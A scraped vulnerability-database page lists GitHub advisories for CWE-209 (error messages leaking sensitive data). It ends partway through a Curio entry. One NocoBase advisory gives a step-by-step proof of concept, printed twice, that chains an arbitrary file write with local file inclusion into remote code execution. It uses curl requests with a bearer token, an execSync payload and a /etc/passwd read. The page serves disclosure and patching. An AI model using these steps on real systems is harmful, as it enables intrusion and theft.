CWE-209
AllowedGeneration of Error Message Containing Sensitive Information
Abstraction: Base · Status: Draft
The product generates an error message that includes sensitive information about its environment, users, or associated data.
920 vulnerabilities reference this CWE, most recent first.
GHSA-GFH3-MV29-84HC
Vulnerability from github – Published: 2025-04-24 00:31 – Updated: 2025-04-24 00:31IBM InfoSphere Information 11.7 Server authenticated user to obtain sensitive information when a detailed technical error message is returned in a request. This information could be used in further attacks against the system.
{
"affected": [],
"aliases": [
"CVE-2025-25045"
],
"database_specific": {
"cwe_ids": [
"CWE-209"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-23T23:15:16Z",
"severity": "MODERATE"
},
"details": "IBM InfoSphere Information 11.7 Server authenticated user to obtain sensitive information when a detailed technical error message is returned in a request. This information could be used in further attacks against the system.",
"id": "GHSA-gfh3-mv29-84hc",
"modified": "2025-04-24T00:31:19Z",
"published": "2025-04-24T00:31:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25045"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7231332"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GFW7-2V73-69WG
Vulnerability from github – Published: 2026-02-21 03:31 – Updated: 2026-02-25 15:42When a DAG failed during parsing, Airflow’s error-reporting in the UI could include the full kwargs passed to the operators. If those kwargs contained sensitive values (such as secrets), they might be exposed in the UI tracebacks to authenticated users who had permission to view that DAG.
The issue has been fixed in Airflow 3.1.5rc1 and 2.11.1, and users are strongly advised to upgrade to prevent potential disclosure of sensitive information.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "apache-airflow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.11.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "apache-airflow"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0b1"
},
{
"fixed": "3.1.5rc1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-65995"
],
"database_specific": {
"cwe_ids": [
"CWE-209"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-25T15:42:56Z",
"nvd_published_at": "2026-02-21T03:15:57Z",
"severity": "MODERATE"
},
"details": "When a DAG failed during parsing, Airflow\u2019s error-reporting in the UI could include the full kwargs passed to the operators. If those kwargs contained sensitive values (such as secrets), they might be exposed in the UI tracebacks to authenticated users who had permission to view that DAG.\u00a0\n\nThe issue has been fixed in Airflow 3.1.5rc1 and 2.11.1, and users are strongly advised to upgrade to prevent potential disclosure of sensitive information.",
"id": "GHSA-gfw7-2v73-69wg",
"modified": "2026-02-25T15:42:56Z",
"published": "2026-02-21T03:31:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65995"
},
{
"type": "WEB",
"url": "https://github.com/apache/airflow/pull/58252"
},
{
"type": "WEB",
"url": "https://github.com/apache/airflow/pull/61883"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/airflow"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/1qzlrjo2wmlzs0rrgzgslj2pzkor0dr2"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/12/12/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Apache Airflow error reporting may expose full kwargs"
}
GHSA-GG22-V8G3-2R42
Vulnerability from github – Published: 2022-05-24 17:37 – Updated: 2022-05-24 17:37IBM Security Secret Server 10.6 could allow a remote attacker to obtain sensitive information when a detailed technical error message is returned in the browser. This information could be used in further attacks against the system. IBM X-Force ID: 190046.
{
"affected": [],
"aliases": [
"CVE-2020-4842"
],
"database_specific": {
"cwe_ids": [
"CWE-209"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-12-21T18:15:00Z",
"severity": "MODERATE"
},
"details": "IBM Security Secret Server 10.6 could allow a remote attacker to obtain sensitive information when a detailed technical error message is returned in the browser. This information could be used in further attacks against the system. IBM X-Force ID: 190046.",
"id": "GHSA-gg22-v8g3-2r42",
"modified": "2022-05-24T17:37:11Z",
"published": "2022-05-24T17:37:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-4842"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/190046"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/6336251"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GG4P-8WFQ-MX57
Vulnerability from github – Published: 2025-02-27 15:31 – Updated: 2025-02-27 15:31IBM EntireX 11.1 could allow a local user to obtain sensitive information when a detailed technical error message is returned. This information could be used in further attacks against the system.
{
"affected": [],
"aliases": [
"CVE-2024-56494"
],
"database_specific": {
"cwe_ids": [
"CWE-209"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-27T15:15:39Z",
"severity": "LOW"
},
"details": "IBM EntireX 11.1 could allow a local user to obtain sensitive information when a detailed technical error message is returned. This information could be used in further attacks against the system.",
"id": "GHSA-gg4p-8wfq-mx57",
"modified": "2025-02-27T15:31:52Z",
"published": "2025-02-27T15:31:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56494"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7184194"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GG9G-9V4F-9PJ3
Vulnerability from github – Published: 2022-10-29 19:00 – Updated: 2022-11-01 19:00Stimulsoft (aka Stimulsoft Reports) 2013.1.1600.0, when Compilation Mode is used, allows an attacker to execute arbitrary C# code on any machine that renders a report, including the application server or a user's local machine, as demonstrated by System.Diagnostics.Process.Start.
{
"affected": [],
"aliases": [
"CVE-2021-42777"
],
"database_specific": {
"cwe_ids": [
"CWE-209"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-10-29T17:15:00Z",
"severity": "CRITICAL"
},
"details": "Stimulsoft (aka Stimulsoft Reports) 2013.1.1600.0, when Compilation Mode is used, allows an attacker to execute arbitrary C# code on any machine that renders a report, including the application server or a user\u0027s local machine, as demonstrated by System.Diagnostics.Process.Start.",
"id": "GHSA-gg9g-9v4f-9pj3",
"modified": "2022-11-01T19:00:27Z",
"published": "2022-10-29T19:00:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-42777"
},
{
"type": "WEB",
"url": "http://burninatorsec.blogspot.com/2022/04/library-rce-object-chaining-cve-2021.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GGJP-VJC6-GHPH
Vulnerability from github – Published: 2025-10-27 21:30 – Updated: 2025-11-10 15:31Error Messages Wrapped In HTTP Header.This issue affects BLU-IC2: through 1.19.5; BLU-IC4: through 1.19.5.
{
"affected": [],
"aliases": [
"CVE-2025-12365"
],
"database_specific": {
"cwe_ids": [
"CWE-209"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-27T19:16:02Z",
"severity": "MODERATE"
},
"details": "Error Messages Wrapped In HTTP Header.This issue affects BLU-IC2: through 1.19.5; BLU-IC4: through 1.19.5.",
"id": "GHSA-ggjp-vjc6-ghph",
"modified": "2025-11-10T15:31:03Z",
"published": "2025-10-27T21:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12365"
},
{
"type": "WEB",
"url": "https://azure-access.com/security-advisories"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-GGQC-H44G-MR6X
Vulnerability from github – Published: 2023-12-01 21:30 – Updated: 2023-12-01 21:30IBM InfoSphere Information Server 11.7 could allow a remote attacker to obtain sensitive information when a detailed technical error message is returned in the browser. This information could be used in further attacks against the system. IBM X-Force ID: 266167.
{
"affected": [],
"aliases": [
"CVE-2023-43021"
],
"database_specific": {
"cwe_ids": [
"CWE-209"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-01T21:15:08Z",
"severity": "MODERATE"
},
"details": "\nIBM InfoSphere Information Server 11.7 could allow a remote attacker to obtain sensitive information when a detailed technical error message is returned in the browser. This information could be used in further attacks against the system. IBM X-Force ID: 266167.\n\n",
"id": "GHSA-ggqc-h44g-mr6x",
"modified": "2023-12-01T21:30:30Z",
"published": "2023-12-01T21:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43021"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/266167"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7074317"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GHGP-42HG-J6P2
Vulnerability from github – Published: 2026-03-13 21:31 – Updated: 2026-03-13 21:31IBM Sterling Partner Engagement Manager 6.2.3.0 through 6.2.3.5 and 6.2.4.0 through 6.2.4.2 could allow a remote attacker to obtain sensitive information when detailed technical error messages are returned. This information could be used in further attacks against the system.
{
"affected": [],
"aliases": [
"CVE-2025-13726"
],
"database_specific": {
"cwe_ids": [
"CWE-209"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-13T19:53:48Z",
"severity": "MODERATE"
},
"details": "IBM Sterling Partner Engagement Manager 6.2.3.0 through 6.2.3.5 and 6.2.4.0 through 6.2.4.2 could allow a remote attacker to obtain sensitive information when detailed technical error messages are returned. This information could be used in further attacks against the system.",
"id": "GHSA-ghgp-42hg-j6p2",
"modified": "2026-03-13T21:31:45Z",
"published": "2026-03-13T21:31:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13726"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7263391"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GHVF-QF6H-G8X5
Vulnerability from github – Published: 2026-08-20 18:42 – Updated: 2026-08-20 18:42Executive Summary
Two vulnerabilities were identified and chained to achieve authenticated remote code execution
The first vulnerability allows any authenticated admin to redirect the file upload storage root to an arbitrary path on disk including the application directory itself by supplying an unsanitized documentRoot value to the storages:update API. The second vulnerability allows the same admin to trigger Node.js require() on any absolute filesystem path via the pm:enable plugin manager endpoint, which accepts user-supplied paths with no validation (Local File Inclusion).
Chained together, these two flaws allow an attacker with admin credentials to write a malicious file and have it trigger on the system achieving remote code execution.
A working proof-of-concept exploit chain was developed and verified, requiring only a valid admin session token.
VULN 1: Arbitrary File Write via storages:update documentRoot Manipulation
Summary
The file-manager plugin's storage update endpoint accepts an arbitrary documentRoot value without validation. An authenticated admin can overwrite a storage record's documentRoot to any absolute path on the filesystem, then upload files that land anywhere the Node.js process (root in default Docker deployments) can write including the web root, the application source directory, or system paths.
Vulnerable Components
packages/plugins/@nocobase/plugin-file-manager/src/server/storages/local.ts | getDocumentRoot() L24–27 |
packages/plugins/@nocobase/plugin-file-manager/src/server/actions/attachments.ts | createMiddleware()
Server route: POST /api/storages:update
Server route: POST /api/attachments:upload
Root Cause
getDocumentRoot() resolves the documentRoot field from the storage record:
// packages/plugins/@nocobase/plugin-file-manager/src/server/storages/local.ts
const { documentRoot = process.env.LOCAL_STORAGE_DEST || path.join(process.cwd(), 'storage', 'uploads') } =
this.storage.options || {};
return path.resolve(path.isAbsolute(documentRoot) ? documentRoot : path.join(process.cwd(), documentRoot));
resolveSafePath() is called during file upload to prevent filename traversal, but it uses the already-resolved (attacker-controlled) documentRoot as its safe root. There is no validation on the documentRoot value itself at creation or update time. An admin can set documentRoot to any path (/, /etc, /var/www/html, the app root) and the upload will write there.
The creation endpoint (storages:create) also accepts arbitrary documentRoot, but the update endpoint is worse: it silently replaces the root on an existing (potentially already-default) storage, bypassing any frontend guards.
Steps to Reproduce
Prerequisites: Admin session token.
Step 1 Get the local storage ID:
curl -s "http://192.168.228.130:13000/api/storages" \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI"
Storage ID on this target: 366584416632832
Step 2 Create the RCE payload:
cat > /tmp/rce_proof.js << 'EOF'
const { execSync } = require('child_process');
const fs = require('fs');
const out = execSync('id; whoami; hostname').toString();
fs.writeFileSync('/home/spooky/nocobase/storage/uploads/out.txt', out);
module.exports = {};
EOF
Step 3 Redirect storage documentRoot to app CWD:
curl -s -X POST "http://192.168.228.130:13000/api/storages:update?filterByTk=366584416632832" \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI" \
-H "Content-Type: application/json" \
-d '{"options":{"documentRoot":"."},"default":true}'
Step 4 upload the RCE payload:
The payload writes output to the NocoBase uploads directory, which is served statically on port 13000
curl -s -X POST "http://192.168.228.130:13000/api/attachments:upload" \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI" \
-F "file=@/tmp/rce_proof.js;filename=rce_proof.js;type=application/javascript"
Now that the file is uploaded successfully we can trigger the RCE with the LFI shown below
VULN 2: Error-Based Local File Inclusion via pm:enable Unsanitized requireModule() Call
Overview
pm:enable passes filterByTk directly to require() with no path validation. This is a standalone LFI primitive with two modes:
- Non-JS files (e.g.
/etc/passwd): Node.js parses them as JavaScript, fails with aSyntaxErrorthat embeds the file content in the error message. That error is written tosystem_error_YYYY-MM-DD.logand is downloadable vialogger:downloadgiving an attacker blind/error-based file read. - JS files (e.g. an attacker-uploaded payload): the file executes as Node.js code in the server process RCE. This is the second stage of the chain with VULN-01.
Root Cause
The enable action takes filterByTk from query params and passes it directly to the CLI runner with zero validation:
// packages/core/server/src/plugin-manager/options/resource.ts L141-151
async enable(ctx, next) {
const { filterByTk } = ctx.action.params; // ← raw user input
if (!filterByTk) {
ctx.throw(400, 'plugin name invalid');
}
const keys = Array.isArray(filterByTk) ? filterByTk : [filterByTk];
app.runAsCLI(['pm', 'enable', ...keys], { from: 'user' }); // ← no sanitization
ctx.body = filterByTk;
await next();
},
The CLI handler calls requireModule(key):
// packages/core/utils/src/requireModule.ts
export function requireModule(m: any) {
if (typeof m === 'string') {
m = require(m); // ← arbitrary file executed as Node.js module
}
if (typeof m !== 'object') { return m; }
return m.__esModule ? m.default : m;
}
assertSafePluginPackageName() exists in the codebase (validates against absolute paths and ..) but is never invoked in the HTTP action path — only in storage directory helpers. The HTTP handler goes straight from user input → require().
Steps to Reproduce Error-Based File Read (Standalone)
Step 1 Trigger require() on any file:
curl -s "http://TARGET:13000/api/pm:enable?filterByTk=/etc/passwd" \
-H "Authorization: Bearer TOKEN"
# Response: {"data":"/etc/passwd"} — 200 OK
Node.js attempts to parse /etc/passwd as a JavaScript module. It fails at the first : character with:
and we see the error message after sending the request:
Step 2 navigate to the logger and download the system error log
now when we extract the .tar file we can see proof of local file inclusion (partial in this response):
Remote code execution
With our node js payload sitting at the web root all we must do now is use the local file inclusion in pm:enable to trigger it
curl -s "http://192.168.228.130:13000/api/pm:enable?filterByTk=/home/spooky/nocobase/rce_proof.js" \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI"
Retrieve output via NocoBase static file serving
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@nocobase/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-209",
"CWE-434",
"CWE-73",
"CWE-829"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-20T18:42:21Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Executive Summary\n\nTwo vulnerabilities were identified and chained to achieve authenticated remote code execution\n\nThe first vulnerability allows any authenticated admin to redirect the file upload storage root to an arbitrary path on disk including the application directory itself by supplying an unsanitized `documentRoot` value to the `storages:update` API. The second vulnerability allows the same admin to trigger Node.js `require()` on any absolute filesystem path via the `pm:enable` plugin manager endpoint, which accepts user-supplied paths with no validation (Local File Inclusion).\n\nChained together, these two flaws allow an attacker with admin credentials to write a malicious file and have it trigger on the system achieving remote code execution.\n\nA working proof-of-concept exploit chain was developed and verified, requiring only a valid admin session token.\n\n\n## VULN 1: Arbitrary File Write via `storages:update` documentRoot Manipulation\n\n### Summary\n\nThe file-manager plugin\u0027s storage update endpoint accepts an arbitrary `documentRoot` value without validation. An authenticated admin can overwrite a storage record\u0027s `documentRoot` to any absolute path on the filesystem, then upload files that land anywhere the Node.js process (root in default Docker deployments) can write including the web root, the application source directory, or system paths.\n\n### Vulnerable Components\n\n`packages/plugins/@nocobase/plugin-file-manager/src/server/storages/local.ts` | `getDocumentRoot()` L24\u201327 |\n`packages/plugins/@nocobase/plugin-file-manager/src/server/actions/attachments.ts` | `createMiddleware()` \nServer route: `POST /api/storages:update` \nServer route: `POST /api/attachments:upload` \n\n### Root Cause\n\n`getDocumentRoot()` resolves the `documentRoot` field from the storage record:\n\n```javascript\n// packages/plugins/@nocobase/plugin-file-manager/src/server/storages/local.ts\nconst { documentRoot = process.env.LOCAL_STORAGE_DEST || path.join(process.cwd(), \u0027storage\u0027, \u0027uploads\u0027) } =\n this.storage.options || {};\n\nreturn path.resolve(path.isAbsolute(documentRoot) ? documentRoot : path.join(process.cwd(), documentRoot));\n```\n\n`resolveSafePath()` is called during file upload to prevent filename traversal, but it uses the already-resolved (attacker-controlled) `documentRoot` as its safe root. There is **no validation on the `documentRoot` value itself** at creation or update time. An admin can set `documentRoot` to any path (`/`, `/etc`, `/var/www/html`, the app root) and the upload will write there.\n\nThe creation endpoint (`storages:create`) also accepts arbitrary `documentRoot`, but the **update endpoint is worse**: it silently replaces the root on an existing (potentially already-default) storage, bypassing any frontend guards.\n\n### Steps to Reproduce\n\n**Prerequisites:** Admin session token.\n\n\n**Step 1 Get the local storage ID:**\n\n```bash\ncurl -s \"http://192.168.228.130:13000/api/storages\" \\\n -H \"Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI\"\n```\n\nStorage ID on this target: `366584416632832`\n\n\n**Step 2 Create the RCE payload:**\n\n```bash\ncat \u003e /tmp/rce_proof.js \u003c\u003c \u0027EOF\u0027\nconst { execSync } = require(\u0027child_process\u0027);\nconst fs = require(\u0027fs\u0027);\nconst out = execSync(\u0027id; whoami; hostname\u0027).toString();\nfs.writeFileSync(\u0027/home/spooky/nocobase/storage/uploads/out.txt\u0027, out);\nmodule.exports = {};\nEOF\n\n```\n**Step 3 Redirect storage documentRoot to app CWD:**\n\n```bash\ncurl -s -X POST \"http://192.168.228.130:13000/api/storages:update?filterByTk=366584416632832\" \\\n -H \"Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"options\":{\"documentRoot\":\".\"},\"default\":true}\u0027\n```\n\u003cimg width=\"826\" height=\"304\" alt=\"image\" src=\"https://github.com/user-attachments/assets/808bf5cf-f6cc-4df6-9d94-b84cff1dcd66\" /\u003e\n\n**Step 4 upload the RCE payload:**\n\nThe payload writes output to the NocoBase uploads directory, which is served statically on port 13000\n\n```bash\ncurl -s -X POST \"http://192.168.228.130:13000/api/attachments:upload\" \\\n -H \"Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI\" \\\n -F \"file=@/tmp/rce_proof.js;filename=rce_proof.js;type=application/javascript\"\n```\n\n\u003cimg width=\"826\" height=\"322\" alt=\"image\" src=\"https://github.com/user-attachments/assets/146492ff-7eeb-4742-a13d-6bb3f9e0cd72\" /\u003e\n\n\n**Now that the file is uploaded successfully we can trigger the RCE with the LFI shown below**\n\n## VULN 2: Error-Based Local File Inclusion via `pm:enable` Unsanitized `requireModule()` Call\n\n### Overview\n`pm:enable` passes `filterByTk` directly to `require()` with no path validation. This is a standalone LFI primitive with two modes:\n\n- **Non-JS files** (e.g. `/etc/passwd`): Node.js parses them as JavaScript, fails with a `SyntaxError` that embeds the file content in the error message. That error is written to `system_error_YYYY-MM-DD.log` and is downloadable via `logger:download` giving an attacker blind/error-based file read.\n- **JS files** (e.g. an attacker-uploaded payload): the file executes as Node.js code in the server process RCE. This is the second stage of the chain with VULN-01.\n\n### Root Cause\n\nThe `enable` action takes `filterByTk` from query params and passes it directly to the CLI runner with zero validation:\n\n```typescript\n// packages/core/server/src/plugin-manager/options/resource.ts L141-151\nasync enable(ctx, next) {\n const { filterByTk } = ctx.action.params; // \u2190 raw user input\n if (!filterByTk) {\n ctx.throw(400, \u0027plugin name invalid\u0027);\n }\n const keys = Array.isArray(filterByTk) ? filterByTk : [filterByTk];\n app.runAsCLI([\u0027pm\u0027, \u0027enable\u0027, ...keys], { from: \u0027user\u0027 }); // \u2190 no sanitization\n ctx.body = filterByTk;\n await next();\n},\n```\n\nThe CLI handler calls `requireModule(key)`:\n\n```typescript\n// packages/core/utils/src/requireModule.ts\nexport function requireModule(m: any) {\n if (typeof m === \u0027string\u0027) {\n m = require(m); // \u2190 arbitrary file executed as Node.js module\n }\n if (typeof m !== \u0027object\u0027) { return m; }\n return m.__esModule ? m.default : m;\n}\n```\n\n`assertSafePluginPackageName()` exists in the codebase (validates against absolute paths and `..`) but is **never invoked** in the HTTP action path \u2014 only in storage directory helpers. The HTTP handler goes straight from user input \u2192 `require()`.\n\n### Steps to Reproduce Error-Based File Read (Standalone)\n\n**Step 1 Trigger require() on any file:**\n\n```bash\ncurl -s \"http://TARGET:13000/api/pm:enable?filterByTk=/etc/passwd\" \\\n -H \"Authorization: Bearer TOKEN\"\n# Response: {\"data\":\"/etc/passwd\"} \u2014 200 OK\n```\nNode.js attempts to parse `/etc/passwd` as a JavaScript module. It fails at the first `:` character with:\n\n\u003cimg width=\"2064\" height=\"530\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6aca1e88-a1c6-466a-8061-a0f3f7fbd4f8\" /\u003e\n\nand we see the error message after sending the request:\n\n\u003cimg width=\"1036\" height=\"380\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b8ddbf38-7de0-47ba-aa56-39ac4f2de400\" /\u003e\n\n**Step 2 navigate to the logger and download the system error log**\n\n\u003cimg width=\"1142\" height=\"720\" alt=\"image\" src=\"https://github.com/user-attachments/assets/84103a14-99a6-4db0-bf86-35d5d09f730d\" /\u003e\n\n\nnow when we extract the .tar file we can see proof of local file inclusion (partial in this response):\n\n\u003cimg width=\"1264\" height=\"268\" alt=\"image\" src=\"https://github.com/user-attachments/assets/8f90ee8b-16d2-4bbf-8308-29ed80330ec8\" /\u003e\n\n## Remote code execution\n\nWith our node js payload sitting at the web root all we must do now is use the local file inclusion in pm:enable to trigger it \n\n```bash\ncurl -s \"http://192.168.228.130:13000/api/pm:enable?filterByTk=/home/spooky/nocobase/rce_proof.js\" \\\n -H \"Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI\"\n```\n\nRetrieve output via NocoBase static file serving\n\n\u003cimg width=\"832\" height=\"214\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1ed60982-fc93-48f0-8b34-4bae0412ced2\" /\u003e\n\n\u003cimg width=\"810\" height=\"96\" alt=\"image\" src=\"https://github.com/user-attachments/assets/15241236-2701-4488-a9a9-a504c9505562\" /\u003e",
"id": "GHSA-ghvf-qf6h-g8x5",
"modified": "2026-08-20T18:42:21Z",
"published": "2026-08-20T18:42:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-ghvf-qf6h-g8x5"
},
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/pull/9628"
},
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/pull/9701"
},
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/commit/7c9ffe1427a529d62576b83c35222ba7ef9b8d11"
},
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/commit/a89e5a999b608bcb4ec67a845e924af0fb58a7c7"
},
{
"type": "PACKAGE",
"url": "https://github.com/nocobase/nocobase"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "NocoBase: Arbitrary File Write chained with Local file Inclusion leads to Remote code execution"
}
GHSA-GJ6X-Q8RH-WJ6X
Vulnerability from github – Published: 2026-02-26 22:48 – Updated: 2026-02-26 22:48Summary
Multiple HTTP handlers in Curio passed raw database error messages to HTTP clients via http.Error(). When the PostgreSQL/YugabyteDB driver (pgx) returned errors, these could contain the database connection string — including hostname, port, username, and password. Additionally, the internal connection string was constructed with the plaintext password embedded in the URL, which was also included in startup error messages and could surface in logs.
Details
Three components were affected:
-
PDP handlers (
pdp/handlers.go) — 18+ HTTP error paths passederr.Error()directly to HTTP responses. While these endpoints require ECDSA JWT authentication, an authenticated client (e.g., a FilPay service) that triggered a database error would receive the raw pgx error in the HTTP response body. Present since PDP was introduced in v1.25.1. -
Market mk12 deal status (
